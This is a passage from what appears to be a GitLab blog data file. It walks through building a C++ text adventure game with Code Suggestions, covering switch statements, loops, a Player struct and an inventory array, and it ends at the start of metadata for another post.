std::endl;\n    }\n    else if (choice == 3) {\n        std::cout \u003C\u003C \"You chose Shimmer Lake\" \u003C\u003C std::endl;\n    }\n    else {\n        std::cout \u003C\u003C \"Invalid choice\" \u003C\u003C std::endl;\n    }\n```\n\n`if/else` is a conditional statement that allows a program to execute code based on whether a condition, in this case the player's choice, is true or false. If the condition evaluates to true, the code inside the braces is executed.\n\n* `if (condition)`: used to check if the condition is true.\n* `else if (another condition)`: if the previous condition isn't true, the programs checks this condition.\n* `else`: if none of the previous conditions are true.\n\nAnother way of managing multiple choices like this example is using a `switch()` statement. A `switch` statement allows our program to jump to different sections of code based on the value of an expression, which, in this case, is the value of `choice`.\n\nWe are going to replace our `if/else` statements with a `switch` statement. You can comment out or delete the `if/else` statements and prompt Code Suggestions starting with `switch(choice) {`.\n\n![adventure.cpp - Code Suggestions helps the user handle the switch statement for the locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.3-conditional-switch-locations.png){: .shadow}\n\n![adventure.cpp - Code Suggestions helps the user handle the switch statement for the locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.3.1-conditional-switch-locations-continued.png){: .shadow}\n\n```cpp\n    // Evaluate the player's decision\n    switch(choice) {\n        // If 'choice' is 1, this block is executed.\n        case 1:\n            std::cout \u003C\u003C \"You chose Moonlight Markets.\" \u003C\u003C std::endl;\n            break;\n        // If 'choice' is 2, this block is executed.\n        case 2:\n            std::cout \u003C\u003C \"You chose Grand Library.\" \u003C\u003C std::endl;\n            break;\n        // If 'choice' is 3, this block is executed.\n        case 3:\n            std::cout \u003C\u003C \"You chose Shimmer Lake.\" \u003C\u003C std::endl;\n            break;\n        // If 'choice' is not 1, 2, or 3, this block is executed.\n        default:\n            std::cout \u003C\u003C \"You did not enter 1, 2, or 3.\" \u003C\u003C std::endl;\n    }\n```\n\nEach case represents a potential value that the variable or expression being switched on (in this case, choice) could have. If a match is found, the code for that case is executed. We use the `default` case to handle any input errors in case the player enters a value that isn't accounted for.\n\nLet's build out what happens when our player visits the Shimmering Lake. I've added some comments after the player's arrival at Shimmering Lake to prompt Code Suggestions to help us build this out:\n\n```cpp\n    // If 'choice' is 3, this block is executed.\n    case 3:\n        std::cout \u003C\u003C \"You chose Shimmering Lake.\" \u003C\u003C std::endl;\n        // The player arrives at Shimmering Lake. It is one of the most beautiful lakes the player has ever seen.\n        // The player hears a mysterious melody from the water.\n        // They can either 1. Stay quiet and listen, or 2. Sing along with the melody.\n\n        break;\n```\n\nNow, if you start writing `std::cout` to begin offering the player this new decision point, Code Suggestions will help fill out the output code.\n\n![adventure.cpp - Code Suggestions helps fill out the output code based on the comments about the interaction at the Lake](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4-case-3-output.png){: .shadow}\n\nYou might find that the code provided by Code Suggestions is very declarative. Once I've accepted the suggestion, I personalize the code as needed. For example in this case, including the melody the player heard and using the player's name instead of \"you\":\n\n![adventure.cpp - I added the playerName to the output and then prompted Code Suggestions to continue the narrative based on the comments above](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.1-customizing-output.png){: .shadow}\n\nI also wanted Code Suggestions to offer suggestions in a specific format, so I added an end line:\n\n![adventure.cpp - I added an end line to prompt Code Suggestions to break the choices into end line outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.2-customizing-output-endline.png){: .shadow}\n\n![adventure.cpp - I added an endline to prompt Code Suggestions to break the choices into end line outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.3-sub-choices-output.png){: .shadow}\n\nNow, we'd like to offer our player a nested choice in this scenario. Before we can define the new choices, we need a variable to store this nested choice. Let's define a new variable `int nestedChoice` in our `main()` function, outside of the `switch()` statement we set up. You can put it after our definition of the `choice` variable.\n\n```cpp\n    // Declare an int variable to capture the user's choice\n    int choice;\n    // Declare an int variable to capture the user's nested choice\n    int nestedChoice;\n```\n\nNext, returning to the `if/else` statement we were working on in `case 3`, we want to prompt the player for their decision and save it in `nestedChoice`.\n\n![adventure.cpp - I added an end line to prompt Code Suggestions to break the choices into end line outputs](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.4.4-capture-nested-choice.png){: .shadow}\n\nAs you can see, Code Suggestions wants to go ahead and handle the user's choice using another `switch` statement. I would prefer to use an `if/else` statement to handle this decision point.\n\nFirst, let's add some comments to give context:\n\n```cpp\n    // Capture the user's nested choice\n    std::cin >> nestedChoice;\n\n    // If the player chooses 1 and remains silent, they hear whispers of the merfolk below, but nothing happens.\n    // If the player chooses 2 and sings along, a merfolk surfaces and gifts them a special blue gem as a token of appreciation for their voice.\n\n    // Evaluate the user's nestedChoice\n```\n\nThen, start typing `if (nestedChoice == 1)` and Code Suggestions will start to offer suggestions:\n\n![adventure.cpp - Code Suggestions starts to build out an if statement to handle the nestedChoice](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.5-nested-choice-if.png){: .shadow}\n\nIf you tab to accept them, Code Suggestions will continue to fill out the rest of the nested `if/else` statements.\n\nSometimes, while you're customizing the suggestions that Code Suggestions gives, you may even discover that it would like to make creative suggestions, too!\n\n![adventure.cpp - Code Suggestions makes a creative suggestion to end the interaction with the merfolk by saying \"You are now free to go\" after you receive the gem.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.5.2-nested-cs-creative-suggestion.png){: .shadow}\n\nHere's the code for `case 3` for the player's interaction at Shimmering Lake with the nested decision. I've updated some of the narrative dialogue player's name.\n```\n    // Handle the Shimmering Lake scenario.\n    case 3:\n        std::cout \u003C\u003C playerName \u003C\u003C \" arrives at Shimmering Lake. It is one of the most beautiful lakes that\" \u003C\u003C playerName \u003C\u003C \" has seen. They hear a mysterious melody from the water. They can either: \" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"1. Stay quiet and listen\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"2. Sing along with the melody\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Please enter your choice: \";\n\n        // Capture the user's nested choice\n        std::cin >> nestedChoice;\n\n        // If the player chooses to remain silent\n        if (nestedChoice == 1)\n        {\n            std::cout \u003C\u003C \"Remaining silent, \" \u003C\u003C playerName \u003C\u003C \" hears whispers of the merfolk below, but nothing happens.\" \u003C\u003C std::endl;\n        }\n        // If the player chooses to sing along with the melody\n        else if (nestedChoice == 2)\n        {\n            std::cout \u003C\u003C \"Singing along, a merfolk surfaces and gifts \" \u003C\u003C playerName\n                    \u003C\u003C \" a special blue gem as a token of appreciation for their voice.\"\n                    \u003C\u003C std::endl;\n        }\n        break;\n```\n\nOur player isn't limited to just exploring Shimmering Lake. There's a whole realm to explore and they might want to go back and explore other locations.\n\nTo facilitate this, we can use a `while` loop. A loop is a type of conditional that allows a specific section of code to be executed multiple times based on a condition. For the `condition` that allows our `while` loop to run multiple times, let's use a `boolean` to initialize the loop condition.\n\n```cpp\n    // Initialize a flag to control the loop and signify the player's intent to explore.\n    bool exploring = true;\n    // As long as the player wishes to keep exploring, this loop will run.\n    while(exploring) {\n        // wrap the code for switch(choice)\n    }\n```\n\nWe also need to move our location prompt inside the `while` loop so that the player can visit more than one location at the time.\n\n![adventure.cpp - CS helps us write a go next prompt for the locations](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.6-while-loop-go-next.png){: .shadow}\n\n```cpp\n    // Initialize a flag to control the loop and signify the player's intent to explore.\n    bool exploring = true;\n    // As long as the player wishes to keep exploring, this loop will run.\n    while(exploring) {\n\n        // If still exploring, ask the player where they want to go next\n        std::cout \u003C\u003C \"Where will \" \u003C\u003C playerName \u003C\u003C \" go next?\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"1. Moonlight Markets\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"2. Grand Library\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"3. Shimmering Lake\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Please enter your choice: \";\n        // Update value of choice\n        std::cin >> choice;\n\n        // Respond based on the player's main choice\n        switch(choice) {\n```\n\nOur `while` loop will keep running as long as `exploring` is `true`, so we need a way for the player to have the option to exit the game. Let's add a case 4 that allows the player to exit by setting `exploring = false`. This will exit the loop and take the player back to the original choices.\n\n```cpp\n    // Option to exit the game\n    case 4:\n        exploring = false;\n        break;\n```\n\n**Async exercise**: Give the player the option to exit the game instead of exploring a new decision.\n\nWe also need to update the error handling for invalid inputs in the `switch` statement. You can decide whether to end the program or use the `continue` statement to start a new loop iteration.\n\n```cpp\n        default:\n            std::cout \u003C\u003C \"You did not enter a valid choice.\" \u003C\u003C std::endl;\n            continue; // Errors continue with the next loop iteration\n```\n\nUsing I/O and conditionals is at the core of text-based adventure games and helps make these games interactive. We can combine user input, display output, and implement our narrative into decision-making logic to create an engaging experience.\n\nHere's what our `adventure.cpp` looks like now with some comments:\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Main function, the starting point of the program\nint main()\n{\n    std::cout \u003C\u003C \"Welcome to the Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Declare a string variable to store the player name\n    std::string playerName;\n\n    // Prompt the user to enter their player name\n    std::cout \u003C\u003C \"Please enter your name: \";\n    std::cin >> playerName;\n\n    // Display a personalized welcome message to the player with their name\n    std::cout \u003C\u003C \"Welcome \" \u003C\u003C playerName \u003C\u003C \" to The Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Declare an int variable to capture the user's choice\n    int choice;\n    // Declare an int variable to capture the user's nested choice\n    int nestedChoice;\n\n    // Initialize a flag to control the loop and signify the player's intent to explore.\n    bool exploring = true;\n    // As long as the player wishes to keep exploring, this loop will run.\n    while(exploring) {\n\n        // If still exploring, ask the player where they want to go next\n        std::cout \u003C\u003C \"Where will \" \u003C\u003C playerName \u003C\u003C \" go next?\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"1. Moonlight Markets\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"2. Grand Library\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"3. Shimmering Lake\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Please enter your choice: \";\n        // Update value of choice\n        std::cin >> choice;\n\n        // Respond based on the player's main choice\n        switch(choice) {\n            //  Handle the Moonlight Markets scenario\n            case 1:\n                std::cout \u003C\u003C \"You chose Moonlight Markets.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Grand Library scenario.\n            case 2:\n                std::cout \u003C\u003C \"You chose Grand Library.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Shimmering Lake scenario.\n            case 3:\n                std::cout \u003C\u003C playerName \u003C\u003C \" arrives at Shimmering Lake. It is one of the most beautiful lakes that\" \u003C\u003C playerName \u003C\u003C \" has seen. They hear a mysterious melody from the water. They can either: \" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"1. Stay quiet and listen\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"2. Sing along with the melody\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"Please enter your choice: \";\n\n                // Capture the user's nested choice\n                std::cin >> nestedChoice;\n\n                // If the player chooses to remain silent\n                if (nestedChoice == 1)\n                {\n                    std::cout \u003C\u003C \"Remaining silent, \" \u003C\u003C playerName \u003C\u003C \" hears whispers of the merfolk below, but nothing happens.\" \u003C\u003C std::endl;\n                }\n                // If the player chooses to sing along with the melody\n                else if (nestedChoice == 2)\n                {\n                    std::cout \u003C\u003C \"Singing along, a merfolk surfaces and gifts \" \u003C\u003C playerName\n                            \u003C\u003C \" a special blue gem as a token of appreciation for their voice.\"\n                            \u003C\u003C std::endl;\n                }\n                break;\n            // Option to exit the game\n            case 4:\n                exploring = false;\n                break;\n            // If 'choice' is not 1, 2, or 3, this block is executed.\n            default:\n                std::cout \u003C\u003C \"You did not enter a valid choice.\" \u003C\u003C std::endl;\n                continue; // Errors continue with the next loop iteration\n        }\n    }\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\nHere's what the build output looks like if we run `adventure.cpp` and the player heads to the Shimmering Lake.\n\n![adventure.cpp build output - the player is called sugaroverflow and heads to the Shimmering Lake and receives a gem](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/3.6.1-full-case-3-output.png){: .shadow}\n\n## Structuring the narrative: Characters\nOur player can now explore the world. Soon, our player will also be able to meet people and collect objects. Before we can do that, let's organize the things our player can do with creating some structure for the player character.\n\nIn C++, a `struct` is used to group different data types. It's helpful in creating a group of items that belong together, such as our player's attributes and inventory, into a single unit. `struct` objects are defined globally, which means at top the file, before the `main() function.\n\nIf you start typing `struct Player {`, Code Suggestions will help you out with a sample definition of a player struct.\n\n![adventure.cpp - Code Suggestions helps with setting up the struct definition for the player](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4-player-struct-definition.png){: .shadow}\n\nAfter accepting this suggestion, you might find that Code Suggestions is eager to define some functions to make this game more fun, such as hunting for treasure.\n\n![adventure.cpp - Code Suggestions provides a suggestion for creating functions to hunt for treasure.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4.1-player-struct-treasure-suggestion.png){: .shadow}\n\n```cpp\n// Define a structure for a Player in the game.\nstruct Player{\n    std::string name;  // The name of the player.\n    int health;        // The current health of the player.\n    int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.\n};\n```\n\nGiving the player experience points was not in my original plan for this text adventure game, but Code Suggestions makes an interesting suggestion. We could use `xp` for leveling up or for other game mechanics as our project grows.\n\n`struct Player` provides a blueprint for creating a player and details the attributes that make up a player. To use our player in our code, we must instantiate, or create, an object of the `Player` struct within our `main()` function. Objects in C++ are instances of structures that contain attributes. In our example, we're working with the `Player` struct, which has attributes like name, health, and xp.\n\nAs you're creating a `Player` object, you might find that Code Suggestions wants to name the player \"John.\"\n\n![adventure.cpp - code suggestions suggests naming the new Player object John.](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/4.2-player-struct-instance-john.png){: .shadow}\n\n```cpp\nint main() {\n    // Create an instance of the Player struct\n    Player player;\n    player.health = 100; // Assign a default value for HP\n```\n\nInstead of naming our player \"John\" for everyone, we'll use the `Player` object to set the attribute for name. When we want to interact with or manipulate an attribute of an object, we use the dot operator `.`. The dot operator allows us to access specific members of the object. We can set the player's name using the dot operator with `player.name`.\n\nNote that we need to replace other mentions of `playerName` the variable with `player.name`, which allows us to access the player object's name directly.\n\n* Search for all occurrences of the `playerName` variable, and replace it with `player.name`.\n* Comment/Remove the unused `std::string playerName` variable after that.\n\nWhat your `adventure.cpp` will look like now:\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Define a structure for a Player in the game.\nstruct Player{\n    std::string name;  // The name of the player.\n    int health;        // The current health of the player.\n    int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.\n};\n\n// Main function, the starting point of the program\nint main()\n{\n    std::cout \u003C\u003C \"Welcome to the Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Create an instance of the Player struct\n    Player player;\n    player.health = 100; // Assign a default value for HP\n\n    // Prompt the user to enter their player name\n    std::cout \u003C\u003C \"Please enter your name: \";\n    std::cin >> player.name;\n\n    // Display a personalized welcome message to the player with their name\n    std::cout \u003C\u003C \"Welcome \" \u003C\u003C player.name \u003C\u003C \" to The Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Declare an int variable to capture the user's choice\n    int choice;\n    // Declare an int variable to capture the user's nested choice\n    int nestedChoice;\n\n    // Initialize a flag to control the loop and signify the player's intent to explore.\n    bool exploring = true;\n    // As long as the player wishes to keep exploring, this loop will run.\n    while(exploring) {\n\n        // If still exploring, ask the player where they want to go next\n        std::cout \u003C\u003C \"Where will \" \u003C\u003C player.name \u003C\u003C \" go next?\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"1. Moonlight Markets\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"2. Grand Library\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"3. Shimmering Lake\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Please enter your choice: \";\n        // Update value of choice\n        std::cin >> choice;\n\n        // Respond based on the player's main choice\n        switch(choice) {\n            //  Handle the Moonlight Markets scenario\n            case 1:\n                std::cout \u003C\u003C \"You chose Moonlight Markets.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Grand Library scenario.\n            case 2:\n                std::cout \u003C\u003C \"You chose Grand Library.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Shimmering Lake scenario.\n            case 3:\n                std::cout \u003C\u003C player.name \u003C\u003C \" arrives at Shimmering Lake. It is one of the most beautiful lakes that\" \u003C\u003C player.name \u003C\u003C \" has seen. They hear a mysterious melody from the water. They can either: \" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"1. Stay quiet and listen\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"2. Sing along with the melody\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"Please enter your choice: \";\n\n                // Capture the user's nested choice\n                std::cin >> nestedChoice;\n\n                // If the player chooses to remain silent\n                if (nestedChoice == 1)\n                {\n                    std::cout \u003C\u003C \"Remaining silent, \" \u003C\u003C player.name \u003C\u003C \" hears whispers of the merfolk below, but nothing happens.\" \u003C\u003C std::endl;\n                }\n                // If the player chooses to sing along with the melody\n                else if (nestedChoice == 2)\n                {\n                    std::cout \u003C\u003C \"Singing along, a merfolk surfaces and gifts \" \u003C\u003C player.name\n                            \u003C\u003C \" a special blue gem as a token of appreciation for their voice.\"\n                            \u003C\u003C std::endl;\n                }\n                break;\n            // Option to exit the game\n            case 4:\n                exploring = false;\n                break;\n            // If 'choice' is not 1, 2, or 3, this block is executed.\n            default:\n                std::cout \u003C\u003C \"You did not enter a valid choice.\" \u003C\u003C std::endl;\n                continue; // Errors continue with the next loop iteration\n        }\n    }\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\n## Structuring the narrative: Items\nAn essential part of adventure games is a player's inventory - the collection of items they acquire and use during their journey. For example, at Shimmering Lake, the player acquired a blue gem.\n\nLet's update our Player `struct` to include an inventory using an array. In C++, an `array` is a collection of elements of the same type that can be identified by an index. When creating an array, you need to specify its type and size. Start by adding `std::string inventory` to the Player `struct`:\n\n![adventure.cpp - Code Suggestions shows us how to add an array of strings to the player struct to use as the players inventory](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5-add-inventory-player-struct.png){: .shadow}\n\nYou might find that Code Suggestions wants our player to be able to carry some gold, but we don't need that for now. Let's also add `int inventoryCount;` to keep track of the number of items in our player's inventory.\n\n![adventure.cpp - Code Suggestions shows us how to add an integer for inventoryCount to the player struct](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.1-add-inventory-count-player-struct.png){: .shadow}\n\n```cpp\n// Define a structure for a Player in the game.\nstruct Player{\n    std::string name;  // The name of the player.\n    int health;        // The current health of the player.\n    int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.\n    std::string inventory[10];  // An array of strings for the player's inventory.\n    int inventoryCount = 0;  // The number of items in the player's inventory.\n};\n```\nIn our Player `struct`, we have defined an array for our inventory that can hold the names of 10 items (type:string, size: 10). As the player progresses through our story, we can assign new items to the inventory array based on the player's actions using the array index.\n\nSometimes Code Suggestions gets ahead of me and tries to add more complexity to the game by suggesting that we need to create a `struct` for some Monsters. Maybe later, Code Suggestions!\n\n![adventure.cpp - Code Suggestions wants to add a struct for Monsters we can battle](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.2-suggestion-gets-distracted-by-monsters.png\n){: .shadow}\n\nBack at the Shimmering Lake, the player received a special blue gem from the merfolk. Let's update the code in `case 2` for the Shimmering Lake to add the gem to our player's inventory.\n\nYou can start by accessing the player's inventory with `player.inventory` and Code Suggestions will help add the gem.\n\n![adventure.cpp - Code Suggestions shows us how to add a gem to the player's inventory using a post-increment operation and the inventory array from the struct object](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.3-add-gem-to-inventory.png){: .shadow}\n\n```cpp\n    // If the player chooses to sing along with the melody\n    else if (nestedChoice == 2)\n    {\n        std::cout \u003C\u003C \"Singing along, a merfolk surfaces and gifts \" \u003C\u003C player.name\n                \u003C\u003C \" a special blue gem as a token of appreciation for their voice.\"\n                \u003C\u003C std::endl;\n        player.inventory[player.inventoryCount] = \"Blue Gem\";\n        player.inventoryCount++;\n    }\n```\n\n* `player.inventory`: accesses the inventory attribute of the player object\n* `player.inventoryCount`: accesses the integer that keeps track of how many items are currently in the player's inventory. This also represents the next available index in our inventory array where an item can be stored.\n* `player.inventoryCount++`: increments the value of inventoryCount by 1. This is a post-increment operation. We are adding “Blue Gem” to the next available slot in the inventory array and incrementing the array for the newly added item.\n\nOnce we've added something to our player's inventory, we may also want to be able to look at everything in the inventory. We can use a `for` loop to iterate over the inventory array and display each item.\n\nIn C++, a `for` loop allows code to be repeatedly executed a specific number of times. It's different from the `while` loop we used earlier because the `while` executes its body based on a condition, whereas a `for` loop iterates over a sequence or range, usually with a known number of times.\n\nAfter adding the gem to the player's inventory, let's display all the items it has. Try starting a for loop with `for ( ` to display the player's inventory and Code Suggestions will help you with the syntax.\n\n![adventure.cpp - Code Suggestions demonstrates how to write a for loop to loop through the players inventory](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.4-loop-over-players-inventory.png){: .shadow}\n\n```cpp\nstd::cout \u003C\u003C player.name \u003C\u003C \"'s Inventory:\" \u003C\u003C std::endl;\n// Loop through the player's inventory up to the count of items they have\nfor (int i = 0; i \u003C player.inventoryCount; i++)\n{\n    // Output the item in the inventory slot\n    std::cout \u003C\u003C \"- \" \u003C\u003C player.inventory[i] \u003C\u003C std::endl;\n}\n```\n\nA `for` loop consists of 3 main parts:\n\n* `int i = 0`: is the initialization where you set up your loop variable. Here, we start counting from 0.\n* `i \u003C player.inventoryCount`: is the condition we're looping on, our loop checks if `i`, the current loop variable, is less than the number of items in our inventory. It will keep going until this is true.\n* `i++`: is the iteration. This updates the loop variable each time the loop runs.\n\nTo make sure that our loop doesn't encounter an error, let's add some error handling to make sure the inventory is not empty when we try to output it.\n\n```\nstd::cout \u003C\u003C player.name \u003C\u003C \"'s Inventory:\" \u003C\u003C std::endl;\n// Loop through the player's inventory up to the count of items they have\nfor (int i = 0; i \u003C player.inventoryCount; i++)\n{\n    // Check if the inventory slot is not empty.\n    if (!player.inventory[i].empty())\n    {\n        // Output the item in the inventory slot\n        std::cout \u003C\u003C \"- \" \u003C\u003C player.inventory[i] \u003C\u003C std::endl;\n    }\n}\n```\n\nWith our progress so far, we've successfully established a persistent `while` loop for our adventure, handled decisions, crafted a `struct` for our player, and implemented a simple inventory system. Now, let's dive into the next scenario, the Grand Library, applying the foundations we've learned.\n\n**Async exercise**: Add more inventory items found in different locations.\n\nHere's what we have for `adventure.cpp` so far:\n\n```cpp\n#include \u003Ciostream> // Include the I/O stream library for input and output\n\n// Define a structure for a Player in the game.\nstruct Player{\n    std::string name;  // The name of the player.\n    int health;        // The current health of the player.\n    int xp;            // Experience points gained by the player. Could be used for leveling up or other game mechanics.\n    std::string inventory[10];  // An array of strings for the player's inventory.\n    int inventoryCount = 0;\n};\n\n// Main function, the starting point of the program\nint main()\n{\n    std::cout \u003C\u003C \"Welcome to the Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Create an instance of the Player struct\n    Player player;\n    player.health = 100; // Assign a default value for HP\n\n    // Prompt the user to enter their player name\n    std::cout \u003C\u003C \"Please enter your name: \";\n    std::cin >> player.name;\n\n    // Display a personalized welcome message to the player with their name\n    std::cout \u003C\u003C \"Welcome \" \u003C\u003C player.name \u003C\u003C \" to The Dragon Realm!\" \u003C\u003C std::endl;\n\n    // Declare an int variable to capture the user's choice\n    int choice;\n    // Declare an int variable to capture the user's nested choice\n    int nestedChoice;\n\n    // Initialize a flag to control the loop and signify the player's intent to explore.\n    bool exploring = true;\n    // As long as the player wishes to keep exploring, this loop will run.\n    while(exploring) {\n\n        // If still exploring, ask the player where they want to go next\n        std::cout \u003C\u003C \"--------------------------------------------------------\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Where will \" \u003C\u003C player.name \u003C\u003C \" go next?\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"1. Moonlight Markets\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"2. Grand Library\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"3. Shimmering Lake\" \u003C\u003C std::endl;\n        std::cout \u003C\u003C \"Please enter your choice: \";\n        // Update value of choice\n        std::cin >> choice;\n\n        // Respond based on the player's main choice\n        switch(choice) {\n            //  Handle the Moonlight Markets scenario\n            case 1:\n                std::cout \u003C\u003C \"You chose Moonlight Markets.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Grand Library scenario.\n            case 2:\n                std::cout \u003C\u003C \"You chose Grand Library.\" \u003C\u003C std::endl;\n                break;\n            // Handle the Shimmering Lake scenario.\n            case 3:\n                std::cout \u003C\u003C player.name \u003C\u003C \" arrives at Shimmering Lake. It is one of the most beautiful lakes that\" \u003C\u003C player.name \u003C\u003C \" has seen. They hear a mysterious melody from the water. They can either: \" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"1. Stay quiet and listen\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"2. Sing along with the melody\" \u003C\u003C std::endl;\n                std::cout \u003C\u003C \"Please enter your choice: \";\n\n                // Capture the user's nested choice\n                std::cin >> nestedChoice;\n\n                // If the player chooses to remain silent\n                if (nestedChoice == 1)\n                {\n                    std::cout \u003C\u003C \"Remaining silent, \" \u003C\u003C player.name \u003C\u003C \" hears whispers of the merfolk below, but nothing happens.\" \u003C\u003C std::endl;\n                }\n                // If the player chooses to sing along with the melody\n                else if (nestedChoice == 2)\n                {\n                    std::cout \u003C\u003C \"Singing along, a merfolk surfaces and gifts \" \u003C\u003C player.name\n                            \u003C\u003C \" a special blue gem as a token of appreciation for their voice.\"\n                            \u003C\u003C std::endl;\n                    player.inventory[player.inventoryCount] = \"Blue Gem\";\n                    player.inventoryCount++;\n\n                    std::cout \u003C\u003C player.name \u003C\u003C \"'s Inventory:\" \u003C\u003C std::endl;\n                    // Loop through the player's inventory up to the count of items they have\n                    for (int i = 0; i \u003C player.inventoryCount; i++)\n                    {\n                        // Check if the inventory slot is not empty.\n                        if (!player.inventory[i].empty())\n                        {\n                            // Output the item in the inventory slot\n                            std::cout \u003C\u003C \"- \" \u003C\u003C player.inventory[i] \u003C\u003C std::endl;\n                        }\n                    }\n\n                }\n                break;\n            // Option to exit the game\n            case 4:\n                exploring = false;\n                break;\n            // If 'choice' is not 1, 2, or 3, this block is executed.\n            default:\n                std::cout \u003C\u003C \"You did not enter a valid choice.\" \u003C\u003C std::endl;\n                continue; // Errors continue with the next loop iteration\n        }\n    }\n\n    // Return 0 to indicate successful execution\n    return 0;\n}\n```\n\n![adventure.cpp - A full output of the game at the current state - our player sugaroverflow visits the Lake, receives the gem, adds it to their inventory, and we display the inventory before returning to the loop](https://about.gitlab.com/images/blogimages/2023-08-21-building-a-text-adventure-using-cplusplus-and-code-suggestions/5.5-full-output-shimmering-lake.png){: .shadow}\n",[479,790,1444,943,696],{"slug":8812,"featured":6,"template":678},"building-a-text-adventure-using-cplusplus-and-code-suggestions","content:en-us:blog:building-a-text-adventure-using-cplusplus-and-code-suggestions.yml","Building A Text Adventure Using Cplusplus And Code Suggestions","en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions.yml","en-us/blog/building-a-text-adventure-using-cplusplus-and-code-suggestions",{"_path":8818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8819,"content":8825,"config":8830,"_id":8832,"_type":16,"title":8833,"_source":17,"_file":8834,"_stem":8835,"_extension":20},"/en-us/blog/coordinating-documentation-projects-gitlab",{"title":8820,"description":8821,"ogTitle":8820,"ogDescription":8821,"noIndex":6,"ogImage":8822,"ogUrl":8823,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8823,"schema":8824},"Coordinating major documentation projects with GitLab","Members of The Good Docs Project explain how to plan, coordinate, and release major documentation projects using GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669791/Blog/Hero%20Images/abstractprocess.png","https://about.gitlab.com/blog/coordinating-documentation-projects-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Coordinating major documentation projects with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alyssa Rock\"},{\"@type\":\"Person\",\"name\":\"Aaron Peters, Member, Good Docs Project\"}],\n        \"datePublished\": \"2023-08-24\",\n      }",{"title":8820,"description":8821,"authors":8826,"heroImage":8822,"date":8808,"body":8828,"category":813,"tags":8829},[8827,7227],"Alyssa Rock","\n[The Good Docs Project](https://thegooddocsproject.dev/) recently achieved a significant milestone: releasing [version v1.0.0 of our project](https://gitlab.com/tgdp/templates/-/releases/v1.0.0). It was an exciting moment for [our 